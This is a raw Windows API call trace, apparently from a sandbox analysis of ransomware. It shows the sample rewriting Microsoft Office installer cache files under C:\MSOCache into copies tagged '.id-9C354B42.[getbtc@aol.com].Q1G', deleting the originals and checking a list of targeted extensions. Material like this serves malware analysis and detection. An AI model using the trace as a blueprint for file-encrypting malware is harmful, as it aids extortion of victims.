SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.525] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.525] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0036.525] GetLastError () returned 0x0 [0036.525] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0036.698] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0036.872] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.872] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.873] SetEndOfFile (hFile=0x1cc) returned 1 [0036.873] CloseHandle (hObject=0x1cc) returned 1 [0036.873] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.873] SetEndOfFile (hFile=0x1a0) returned 1 [0036.874] CloseHandle (hObject=0x1a0) returned 1 [0036.874] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.874] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.875] lstrlenW (lpString=".doc") returned 4 [0036.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString=".docx") returned 5 [0036.875] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.875] lstrlenW (lpString=".pdf") returned 4 [0036.875] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString=".xls") returned 4 [0036.875] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString=".xlsx") returned 5 [0036.875] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.875] lstrlenW (lpString=".ppt") returned 4 [0036.875] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.875] lstrlenW (lpString=".zip") returned 4 [0036.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.875] lstrlenW (lpString=".rar") returned 4 [0036.875] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString=".bz2") returned 4 [0036.875] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString=".7z") returned 3 [0036.875] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.875] lstrlenW (lpString=".dbf") returned 4 [0036.875] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.875] lstrlenW (lpString=".1cd") returned 4 [0036.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.876] lstrlenW (lpString=".jpg") returned 4 [0036.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.876] lstrlenW (lpString=".doc") returned 4 [0036.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString=".docx") returned 5 [0036.876] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.876] lstrlenW (lpString=".pdf") returned 4 [0036.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString=".xls") returned 4 [0036.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString=".xlsx") returned 5 [0036.876] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.876] lstrlenW (lpString=".ppt") returned 4 [0036.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.876] lstrlenW (lpString=".zip") returned 4 [0036.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.876] lstrlenW (lpString=".rar") returned 4 [0036.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString=".bz2") returned 4 [0036.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString=".7z") returned 3 [0036.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.876] lstrlenW (lpString=".dbf") returned 4 [0036.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.876] lstrlenW (lpString=".1cd") returned 4 [0036.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.876] lstrlenW (lpString=".jpg") returned 4 [0036.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.877] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.877] lstrlenW (lpString="AccessMUI.xml") returned 13 [0036.877] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.994] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1349) returned 1 [0036.994] CloseHandle (hObject=0x1b0) returned 1 [0036.994] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0036.994] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.994] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.994] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.994] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.994] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.995] GetLastError () returned 0x0 [0036.995] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x545, lpOverlapped=0x0) returned 1 [0037.055] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x550, lpOverlapped=0x0) returned 1 [0037.056] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.056] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0037.056] SetEndOfFile (hFile=0x1a0) returned 1 [0037.056] CloseHandle (hObject=0x1a0) returned 1 [0037.057] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.057] SetEndOfFile (hFile=0x1b0) returned 1 [0037.058] CloseHandle (hObject=0x1b0) returned 1 [0037.058] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.058] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0037.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.058] lstrlenW (lpString=".doc") returned 4 [0037.058] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.058] lstrlenW (lpString=".docx") returned 5 [0037.058] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.058] lstrlenW (lpString=".pdf") returned 4 [0037.058] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.058] lstrlenW (lpString=".xls") returned 4 [0037.058] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.058] lstrlenW (lpString=".xlsx") returned 5 [0037.058] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.059] lstrlenW (lpString=".ppt") returned 4 [0037.059] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.059] lstrlenW (lpString=".zip") returned 4 [0037.059] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.059] lstrlenW (lpString=".rar") returned 4 [0037.059] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString=".bz2") returned 4 [0037.059] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString=".7z") returned 3 [0037.059] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.059] lstrlenW (lpString=".dbf") returned 4 [0037.059] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.059] lstrlenW (lpString=".1cd") returned 4 [0037.059] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.059] lstrlenW (lpString=".jpg") returned 4 [0037.059] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.059] lstrlenW (lpString=".doc") returned 4 [0037.059] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString=".docx") returned 5 [0037.059] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.059] lstrlenW (lpString=".pdf") returned 4 [0037.059] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString=".xls") returned 4 [0037.059] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.059] lstrlenW (lpString=".xlsx") returned 5 [0037.060] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.060] lstrlenW (lpString=".ppt") returned 4 [0037.060] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.060] lstrlenW (lpString=".zip") returned 4 [0037.060] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.060] lstrlenW (lpString=".rar") returned 4 [0037.060] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.060] lstrlenW (lpString=".bz2") returned 4 [0037.060] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.060] lstrlenW (lpString=".7z") returned 3 [0037.060] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.060] lstrlenW (lpString=".dbf") returned 4 [0037.060] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.060] lstrlenW (lpString=".1cd") returned 4 [0037.060] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0037.060] lstrlenW (lpString=".jpg") returned 4 [0037.060] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.060] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.060] lstrlenW (lpString="branding.xml") returned 12 [0037.060] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0037.066] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=596341) returned 1 [0037.066] CloseHandle (hObject=0x1b0) returned 1 [0037.066] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0037.066] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.066] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0037.066] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.066] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.066] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.067] GetLastError () returned 0x0 [0037.067] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x91975, lpOverlapped=0x0) returned 1 [0037.080] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0037.418] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.418] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.418] SetEndOfFile (hFile=0x1a0) returned 1 [0037.418] CloseHandle (hObject=0x1a0) returned 1 [0037.423] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.423] SetEndOfFile (hFile=0x1b0) returned 1 [0037.428] CloseHandle (hObject=0x1b0) returned 1 [0037.428] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.429] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0037.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.429] lstrlenW (lpString=".doc") returned 4 [0037.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.429] lstrlenW (lpString=".docx") returned 5 [0037.429] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0037.429] lstrlenW (lpString=".pdf") returned 4 [0037.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.429] lstrlenW (lpString=".xls") returned 4 [0037.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.429] lstrlenW (lpString=".xlsx") returned 5 [0037.429] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0037.429] lstrlenW (lpString=".ppt") returned 4 [0037.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.429] lstrlenW (lpString=".zip") returned 4 [0037.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.429] lstrlenW (lpString=".rar") returned 4 [0037.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.429] lstrlenW (lpString=".bz2") returned 4 [0037.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.429] lstrlenW (lpString=".7z") returned 3 [0037.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.430] lstrlenW (lpString=".dbf") returned 4 [0037.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.430] lstrlenW (lpString=".1cd") returned 4 [0037.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.430] lstrlenW (lpString=".jpg") returned 4 [0037.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.430] lstrlenW (lpString=".doc") returned 4 [0037.430] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString=".docx") returned 5 [0037.430] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0037.430] lstrlenW (lpString=".pdf") returned 4 [0037.430] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString=".xls") returned 4 [0037.430] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString=".xlsx") returned 5 [0037.430] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0037.430] lstrlenW (lpString=".ppt") returned 4 [0037.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.430] lstrlenW (lpString=".zip") returned 4 [0037.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.430] lstrlenW (lpString=".rar") returned 4 [0037.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString=".bz2") returned 4 [0037.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.430] lstrlenW (lpString=".7z") returned 3 [0037.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.430] lstrlenW (lpString=".dbf") returned 4 [0037.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.431] lstrlenW (lpString=".1cd") returned 4 [0037.431] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0037.431] lstrlenW (lpString=".jpg") returned 4 [0037.431] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.431] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.431] lstrlenW (lpString="Office32WW.xml") returned 14 [0037.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0037.432] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=4274) returned 1 [0037.432] CloseHandle (hObject=0x1b0) returned 1 [0037.432] 